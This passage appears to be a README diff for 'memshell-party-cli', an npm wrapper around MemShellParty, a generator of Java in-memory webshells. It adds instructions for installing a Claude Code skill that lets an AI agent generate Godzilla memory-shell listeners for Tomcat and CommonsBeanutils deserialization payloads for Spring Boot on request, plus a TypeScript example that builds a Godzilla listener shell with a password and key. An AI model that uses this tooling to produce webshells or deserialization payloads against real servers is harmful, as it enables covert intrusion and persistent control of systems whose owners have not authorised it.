372
+
373
+ ## AI skill (Claude Code)
374
+
375
+ The package ships a [Claude Code skill](https://docs.claude.com/en/docs/claude-code/skills) at
376
+ `skills/memshell-party/SKILL.md` that teaches an AI agent how to drive MemShellParty — the
377
+ server/tool/type/packer decision tree, the probe method×content matrix, packer-by-scenario
378
+ guidance, and the common gotchas (Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
379
+
380
+ Install it into a project (or drop it in `~/.claude/skills/` for global use):
381
+
382
+ ```bash
383
+ # from the package root, or after `npm install memshell-party-cli`:
384
+ mkdir -p .claude/skills
385
+ cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
386
+ ```
387
+
388
+ Then just ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
389
+ *"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
390
+ the agent to enumerate options first and pick the right packer for the vector.
391
+
392
+ ## Programmatic use
393
+
394
+ The package also ships a typed API client:
395
+
396
+ ```ts
397
+ import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
398
+
399
+ const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
400
+ const res = await client.generateMemShell(
401
+ buildMemShellRequest({
402
+ server: "Tomcat",
403
+ shellTool: "Godzilla",
404
+ shellType: "Listener",
405
+ packer: "DefaultBase64",
406
+ godzillaPass: "pass",
407
+ godzillaKey: "key",
408
+ jdk: "java8",
409
+ }),
410
+ );
411
+ console.log(res.memShellResult.shellClassName, res.packResult);
412
+ ```
413
+
414
+ ## Development
415
+
416
+ ```bash
417
+ npm install
418
+ npm run build # tsup -> dist/
419
+ npm test # vitest
420
+ npm run typecheck # tsc --noEmit
421
+ ```
422
+
423
+ ## License
424
+
425
+ MIT